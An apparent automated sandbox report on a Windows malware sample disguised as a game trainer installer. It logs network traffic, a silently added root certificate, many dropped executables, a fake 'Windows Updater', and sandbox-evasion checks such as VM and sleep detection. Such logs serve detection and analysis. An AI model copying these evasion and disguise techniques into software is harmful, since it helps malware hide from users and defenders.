Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_0007E370		28_2_0007E370
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0050E370		31_2_0050E370

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\msiexec.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\msiexec.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\msiexec.exe	System information queried: FirmwareTableInformation

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,		20_2_6A545650
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: GetAdaptersInfo,		20_2_6A546790

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Window / User API: threadDelayed 8077			Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Window / User API: threadDelayed 1546			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6ED3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7F4A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-92M1P.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6F72.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-J9JTN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\2041dcc7124af9419b0b672e9d7171f7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI735E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe\is-74O1B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC676.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi5EB1.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi13CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6929.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI1239.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID0B4.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB48C.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi4BD5.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi135F.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi4D3B.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi4DAA.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi74BC.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\cd2f845e419388478df81bc59730a20b.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICF56.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6DC5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI8057.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6F32.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB4CC.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\f88670462385d642bd8a486306392759.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shiFA87.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-KD7U9.tmp	Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Dropped PE file which has not been started: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC98F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6F03.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5D6E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA493.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICEC6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICF36.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shiFB53.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICEF6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICFD6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-1L53Q.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6E83.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\d98380e50ba80f4fa3adba0346158290.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\078630d72d217d4d9885ece5b71fe988.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5C23.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC813.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA463.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICE09.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC92E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA3F5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6EA3.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi5E23.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI1F60.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID036.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI1E63.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-PML8F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI1DA7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA5ED.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI1259.tmp	Jump to dropped file
